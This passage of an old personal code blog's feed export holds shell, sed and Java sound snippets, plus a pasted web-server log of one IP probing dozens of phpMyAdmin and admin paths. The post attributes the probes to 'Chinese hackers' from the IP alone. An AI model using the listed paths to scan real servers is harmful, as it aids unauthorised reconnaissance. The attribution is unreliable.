&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6484994557716280128?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6484994557716280128/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6484994557716280128' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6484994557716280128'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6484994557716280128'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/05/iwlist-scan-output-somewhere-on-earth.html' title='iwlist scan output somewhere on earth'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-2024762388183926219</id><published>2011-05-31T06:39:00.000-07:00</published><updated>2011-06-05T05:45:11.226-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='basename'/><category scheme='http://www.blogger.com/atom/ns#' term='slackbuilds'/><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='slackware'/><category scheme='http://www.blogger.com/atom/ns#' term='installpkg'/><title type='text'>Slackware SlackBuilds download and install workflow</title><content type='html'>&lt;p&gt;
I'm using Slackware (13.37), and wrote this blog entry to help Slackware newbies like myself understand the workflow dealing with tar files downloaded from &lt;a href="http://slackbuilds.org/"&gt;http://slackbuilds.org/&lt;/a&gt;. 
&lt;/p&gt; 
&lt;p&gt;In this example we work with installing the json-py package. The bash scripting is generalized, will work with any package install.&lt;/p&gt;
&lt;pre&gt;
mkdir ~/sources
cd ~/sources
  # [ in browser ] go to http://slackbuilds.org/repository/13.37/python/json-py/
  # [ in browser ] to download Slackbuild json-py.tar.gz, save it to ~/sources 
filename=`basename *.tar.gz .tar.gz`; tar -xf *.tar.gz; rm *.tar.gz; cd $filename;
  # [ in browser ] to download Source download json-py-3_4.zip, save it to ~/sources 
installpkg `./$filename.SlackBuild | grep Slackware | awk '{ print $3 }'`;
&lt;/pre&gt;
&lt;p&gt;The lines of script above give a sense of the workflow. A smarter workflow is provided in the shell script below.&lt;/p&gt;
&lt;pre&gt;
~/sources/eternalDownload.sh 
&lt;/pre&gt;
&lt;pre&gt;
#!/usr/bin/env bash

while true
do
echo "go to slackbuilds.org and download your SlackBuild tar.gz file, hit enter when done.";
read;
filename=`basename *.tar.gz .tar.gz`; tar -xf *.tar.gz; rm *.tar.gz; 
cd $filename; pwd;
echo "go to slackbuilds.org and download your source code file, hit enter when done.";
read;
installpkg `./$filename.SlackBuild | grep Slackware | awk '{ print $3 }'`;
cd ..;
done
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-2024762388183926219?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/2024762388183926219/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=2024762388183926219' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2024762388183926219'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2024762388183926219'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/05/slackware-slackbuilds-download-and.html' title='Slackware SlackBuilds download and install workflow'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-440264186575194173</id><published>2011-05-22T04:22:00.000-07:00</published><updated>2011-05-22T06:02:18.819-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='tone'/><category scheme='http://www.blogger.com/atom/ns#' term='sound'/><title type='text'>Basic Tone Class and Instantiation</title><content type='html'>&lt;p&gt;
I'm in the process of relearning Java sound generation, and hope to write programs that output interesting soundscapes. This blog posting has very rudimentary code, and hope to continue enhancing it. I will post links &lt;i&gt;here&lt;/i&gt; to the bigger and better code samples after they are written.
&lt;/p&gt;
&lt;pre&gt;
import javax.sound.sampled.*;
import java.util.Random;
/**
 * 
 */
public class Tone
   {

    private int seconds = 1 ;
    private int sampleRate = 8000;
    private double frequency = 1000.0;
    private double rad = 0.5 * Math.PI;
    private double volume = 128.0; 
    
    public Tone(int mySeconds, int mySampleRate, double myFrequency, double myRad, double myVolume ) {
     seconds = mySeconds;
     sampleRate = mySampleRate;
     frequency = myFrequency;
     rad = myRad;
     volume = myVolume;
    }
    
    public void setSeconds(int newValue) {
     seconds =newValue;
    }
    
    public int getSeconds() {
     return seconds;
    }
    
    public void setSampleRate(int newValue) {
     sampleRate = newValue;
    }
    
    public int getSampleRate() {
     return sampleRate;
    }
    
    public void setFrequency(double newValue) {
     frequency = newValue;
    }
    
    public double getFrequency() {
     return frequency;
    }
    
    public void setRad(double newValueA, double newValueB ) {
     rad = newValueA * newValueB; // e.g. 0.5 * Math.PI
    }
    
    public double getRad() {
     return rad;
    }
    
    public void setVolume(double newValue) {
     volume = newValue;
    }
    
    public double getVolume() {
     return volume;
    }
    
    public void playTone() {
     try
     {
      AudioFormat af = new
      AudioFormat( (float)sampleRate, 8, 1, true, true );
      DataLine.Info info = new
      DataLine.Info ( SourceDataLine.class, af );
      SourceDataLine source =
      (SourceDataLine) AudioSystem.getLine( info );
      source.open( af );
      source.start();
      byte[] buf = new byte[sampleRate * seconds];
      for ( int i=0; i&amp;#60;buf.length; i++ )
      {
       buf[i] =
       (byte)( Math.sin( rad * frequency / sampleRate * i ) * volume );
      }
      source.write( buf, 0, buf.length );
      source.drain();
      source.stop();
      source.close();
     }
     catch ( Exception e )
     {
      System.out.println( e );
     }
    
    }
    
   }

&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;pre&gt;
import javax.sound.sampled.*;

public class TestTone
   {
    public static void main (String[] args) {
    double myRad = 0.5 * Math.PI;
    Tone lineOne = new Tone(1, 8000, 1000.0, myRad, 128.0 );
    lineOne.playTone();
    }
   }
&lt;/pre&gt;
 Below is a little more interesting than a single second tone:
&lt;pre&gt;
import javax.sound.sampled.*;
import java.util.Random;

public class TestTone
   {
    public static void main (String[] args) {
    Random generator = new Random();
    double myRad = 0.2 * Math.PI;
    double volume = 128.0;   
     for (int i=0;i&amp;#60;10;i++) {
      if (i % 2 == 0) {volume=volume+16; myRad=myRad + 0.2;}
      else {volume = volume-8; myRad= myRad + Math.PI;}     
      Tone lineOne = new Tone(generator.nextInt(2), 8000, 200.0, myRad, volume );
      if (i % 3 == 0) {volume=volume-16; myRad=myRad - 0.2;}
      else {volume = volume+16; myRad= myRad * Math.PI;}
      Tone lineTwo = new Tone(generator.nextInt(2), 8000, 500.0, myRad, volume );    
      lineOne.playTone();
      lineTwo.playTone();  
     }
    }
   }

&lt;/pre&gt;
&lt;p&gt;
The coding is awful in the source code below, but the sound output is way cool. I'm posting it so I don't lose it.
&lt;/p&gt;
&lt;pre&gt;
import javax.sound.sampled.*;
import java.util.Random;
/**
 * Generate a tone mathematically.
 *
 * @author this.is.lance.miller@gmail.com
 */
public class WildTone
   {
   /**
   * Generate a tone
   *
   * @param args not used
   */
      Random generator = new Random();

  
    public static void main ( String[] args )
      {
      Random generator = new Random();
      int seconds = 1;
      int sampleRate = 8000;
      double frequency = 4000.0;
      double frequencyb = 2000.0;
      double frequencyc = 500.0;
      double RAD  = 0.1* Math.PI/1;
      double RADb  = 0.1* Math.PI/1;
      // double RAD = generator.nextDouble()*Math.PI/generator.nextInt(8);
      int volume = 256; // generator.nextInt(512);
      int looplimit = 90;
      int extraInt = 1;
      int bufInt = 1;
      double extraDbl = 0.1;
      int loopValley = generator.nextInt(sampleRate);
      try
         {
         AudioFormat af = new
                          AudioFormat( (float)sampleRate, 8, 1, true, true );
         DataLine.Info info = new
                              DataLine.Info ( SourceDataLine.class, af );
         SourceDataLine source =
         (SourceDataLine) AudioSystem.getLine( info );
         source.open( af );
         source.start();
         byte[] buf = new byte[sampleRate * seconds];
         byte[] bufb = new byte[(sampleRate * seconds)];
         
         for (int j=1;j&amp;#60;looplimit;j++) {
          
         for ( int i=0; i&amp;#60;buf.length; i++ )
            {
            RAD= extraDbl*Math.PI/extraInt;
            RADb= (0.1*Math.PI/extraInt)*.2;
           loopValley = generator.nextInt(5);
           loopValley=loopValley+1000;
            if (i &gt; loopValley) {
               if (i &amp;#60; loopValley+500) { 
               if (i &gt; loopValley+600) { 
                              if (i &amp;#60; loopValley+620) { RAD= generator.nextDouble()*Math.PI/2; } 
                              else {extraDbl=0.1;}
                              } 
               else {extraDbl=0.4;}
                }
               else {
              if (extraDbl &gt; 0.3) {extraDbl = 0.1; frequency=4000.0;} 
        else { extraDbl=extraDbl+0.1; frequency=500.0;  }
   }
  }
            if (i % 2 == 0 || i % 3 == 1 ) {volume=0;}
     else {
  if (i &amp;#60; sampleRate*seconds/2 ) { volume=256;}
                else {volume=512; frequency=frequencyb;}
                      }
     buf[i] =
            (byte)( Math.sin( RAD * frequency / sampleRate * i ) * volume );
            if (i % 2 == 0) {
            bufb[i] =
            (byte)( Math.sin( RADb * (frequencyb) / sampleRate * i ) * (volume-256) );
            } else {
            bufb[i] =
            (byte)( Math.sin( RADb * (frequencyc) / sampleRate * i ) * (volume-256) );
  }

            }
        bufInt=generator.nextInt(2);
        if (bufInt &gt; 0 ) { source.write( bufb, 0, bufb.length/bufInt );}
        else { source.write( buf, 0, buf.length ); 
                if (bufInt == 2) { source.write( bufb, 0, bufb.length/3 );}}
             } // end for j
        source.drain();
         source.stop();
         source.close();
         }
      catch ( Exception e )
         {
         System.out.println( e );
         }
      System.exit( 0 );
      }

   }
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-440264186575194173?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/440264186575194173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=440264186575194173' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/440264186575194173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/440264186575194173'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/05/basic-tone-class-and-instantiation.html' title='Basic Tone Class and Instantiation'/><author><name>this.is.lance.miller</name><uri>http://www.blogger.com/profile/09165673069819044872</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_SwTDE8MkE0s/SaisyZzLBAI/AAAAAAAAAAM/u_hV97E8XMI/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-2800427344442704559</id><published>2011-05-20T05:18:00.000-07:00</published><updated>2011-05-23T04:16:16.530-07:00</updated><title type='text'>Ubuntu Download Helper using apt-get and apt-cache search</title><content type='html'>&lt;pre&gt;

#!/usr/bin/env bash
clear;
echo "+------------------------------------------------------------------------------------------------+";
echo "|  please enter a search string for apt-cache search                            ";
echo "+------------------------------------------------------------------------------------------------+";
        read search;
echo "here are all the matches to apt-cache $search";
sudo apt-cache search $search;      
echo "+------------------------------------------------------------------------------------------------+";
echo "|  do you want to narrow this list with filter string? y/n                      ";
echo "| &lt;&lt; note: grep filter will parse only the package name, not the description &gt;&gt; ";
echo "+------------------------------------------------------------------------------------------------+";
read yn
if [[ $yn == "y" ]]
 then
 echo "enter your filter string:";
 read filter;
  if [ "$filter" ]
   then 
echo "+------------------------------------------------------------------------------------------------+";
echo "| here are the results for apt-cache search $search | grep $filter               ";
echo "+------------------------------------------------------------------------------------------------+";
    sudo apt-cache search $search | grep $filter
echo "+------------------------------------------------------------------------------------------------+";
echo "| proceed to download these results? y/n                                        ";         
echo "+------------------------------------------------------------------------------------------------+";
    read yn
    if [[ $yn == y* ]]
      then
      for i in `sudo apt-cache search $search | awk '{ print $1 }' | grep $filter `
       do
           echo "# $i" &gt;&gt; $0;
           sudo apt-get install -y $i;
       done
     else
       exit;
    fi
 fi
 else
echo "+------------------------------------------------------------------------------------------------+";
echo "| you do not want a filter                                                      ";
echo "| proceed to download all results of apt-cache search? y/n                      ";
echo "+------------------------------------------------------------------------------------------------+";
      read yn
      if [[ $yn == y* ]]
     then
    for i in `sudo apt-cache search $search | awk '{ print $1 }'`
     do
         echo "# $i" &gt;&gt; $0;
         sudo apt-get install -y $i;
     done
      else
 exit;
 fi
fi


&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-2800427344442704559?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/2800427344442704559/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=2800427344442704559' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2800427344442704559'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/2800427344442704559'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/05/automated-apt-get-via-apt-cache-output.html' title='Ubuntu Download Helper using apt-get and apt-cache search'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6780283897375294427</id><published>2011-05-11T09:35:00.000-07:00</published><updated>2011-05-13T06:53:17.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sed'/><title type='text'>SED: enclose each line in quotes and comma at end of line</title><content type='html'>&lt;pre&gt;

sed -e 's/^/" /g' -e 's/$/ ",/' myfile.txt 

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6780283897375294427?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6780283897375294427/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6780283897375294427' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6780283897375294427'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6780283897375294427'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2011/05/sed-enclose-each-line-in-quotes-and.html' title='SED: enclose each line in quotes and comma at end of line'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3817487943265439782</id><published>2010-06-15T14:36:00.000-07:00</published><updated>2010-06-15T14:51:13.859-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='while'/><category scheme='http://www.blogger.com/atom/ns#' term='for loops'/><category scheme='http://www.blogger.com/atom/ns#' term='loops'/><category scheme='http://www.blogger.com/atom/ns#' term='command line'/><title type='text'>Command-line while loops</title><content type='html'>&lt;pre&gt;
while true (return key)
do (return key)
sleep 1; echo $SECONDS (return key)
done (return key)
&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;pre&gt;
while true(return key)
do
sleep 1; clear; uptime; echo $SECONDS (return key)
done (return key)
&lt;/pre&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;pre&gt;
while [ $SECONDS -le 86400 ] (return key)
do (return key)
sleep 1; clear;uptime;echo $SECONDS (return key)
done (return key)
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3817487943265439782?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3817487943265439782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3817487943265439782' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3817487943265439782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3817487943265439782'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2010/06/command-line-while-loop.html' title='Command-line while loops'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3936631161746459542</id><published>2010-05-27T04:08:00.001-07:00</published><updated>2010-05-27T04:08:34.442-07:00</updated><title type='text'>Run all the executables in directory</title><content type='html'>&lt;pre&gt;
for s in ~/bin/*;do [ -x $s ] &amp;&amp; $s || : ;done
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3936631161746459542?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3936631161746459542/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3936631161746459542' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3936631161746459542'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3936631161746459542'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2010/05/run-all-executables-in-directory.html' title='Run all the executables in directory'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6804498809136027395</id><published>2010-03-13T19:41:00.000-08:00</published><updated>2010-03-13T19:42:40.086-08:00</updated><title type='text'>Yahoo crawler URL's</title><content type='html'>&lt;pre&gt;
&gt;ping b3090894.crawl.yahoo.net
PING b3090894.crawl.yahoo.net (67.195.114.29): 56 data bytes
64 bytes from 67.195.114.29: icmp_seq=0 ttl=56 time=24.147 ms
64 bytes from 67.195.114.29: icmp_seq=1 ttl=56 time=23.885 ms
64 bytes from 67.195.114.29: icmp_seq=2 ttl=56 time=24.886 ms
64 bytes from 67.195.114.29: icmp_seq=3 ttl=56 time=24.729 ms
^C
--- b3090894.crawl.yahoo.net ping statistics ---
4 packets transmitted, 4 packets received, 0% packet loss
round-trip min/avg/max/stddev = 23.885/24.412/24.886/0.410 ms
&gt;ping b3090895.crawl.yahoo.net
PING b3090895.crawl.yahoo.net (67.195.114.54): 56 data bytes
64 bytes from 67.195.114.54: icmp_seq=0 ttl=56 time=21.785 ms
64 bytes from 67.195.114.54: icmp_seq=1 ttl=56 time=23.594 ms
64 bytes from 67.195.114.54: icmp_seq=2 ttl=56 time=23.741 ms
^C
--- b3090895.crawl.yahoo.net ping statistics ---
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max/stddev = 21.785/23.040/23.741/0.889 ms
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6804498809136027395?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6804498809136027395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6804498809136027395' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6804498809136027395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6804498809136027395'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2010/03/yahoo-crawler-urls.html' title='Yahoo crawler URL&apos;s'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1658349450051720248</id><published>2010-02-12T16:40:00.000-08:00</published><updated>2010-02-12T16:41:44.694-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='phpmyadmin'/><category scheme='http://www.blogger.com/atom/ns#' term='chinese hackers'/><title type='text'>Chinese IP numbers hit me looking for phpMyAdmin vulnerabilities</title><content type='html'>&lt;table border="2"&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:13:11:21 -0800] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:13:11:21 -0800] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 226

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:41 -0800] "GET / HTTP/1.1" 200 1235

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:40 -0800] "GET //MyAdminDB/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:40 -0800] "GET //myAdminDB/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:39 -0800] "GET //MyadminDB/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:39 -0800] "GET //dbmyadmin/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:38 -0800] "GET //DBmyadmin/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:38 -0800] "GET //myadmindb/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:37 -0800] "GET //myadminDB/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:37 -0800] "GET //phpmyfaq/admin/ HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:36 -0800] "GET //phpmyfaq/ HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:36 -0800] "GET //myAdmin/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:34 -0800] "GET //php/admin/ HTTP/1.1" 200 47545

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:34 -0800] "GET //sql/ HTTP/1.1" 404 202

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:33 -0800] "GET //mspgmysql/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:33 -0800] "GET //adminphp/ HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:32 -0800] "GET //phpadmin/ HTTP/1.1" 404 207

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:32 -0800] "GET //Mysql/ HTTP/1.1" 404 204

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:31 -0800] "GET //adminmysql/ HTTP/1.1" 404 209

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:30 -0800] "GET //php/ HTTP/1.1" 200 47497

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:30 -0800] "GET //MyAdmin/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:29 -0800] "GET //Myadmin/ HTTP/1.1" 404 206

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:29 -0800] "GET //websql/ HTTP/1.1" 404 205

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:28 -0800] "GET //php-my-admin/ HTTP/1.1" 404 211

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:28 -0800] "GET //web/ HTTP/1.1" 404 202

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:27 -0800] "GET //xampp/phpmyadmin/ HTTP/1.1" 404 215

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:27 -0800] "GET //web/phpMyAdmin/ HTTP/1.1" 404 213

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:26 -0800] "GET //pma/mysql/ HTTP/1.1" 404 208

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:26 -0800] "GET //phpMyAdmin2/ HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:25 -0800] "GET //phpMyAdmin1/ HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:25 -0800] "GET //phpmyadmin2/ HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;
61.6.64.185 - - [12/Feb/2010:12:54:24 -0800] "GET //phpmyadmin1/ HTTP/1.1" 404 210

&lt;/td&gt;
&lt;/tr&gt;

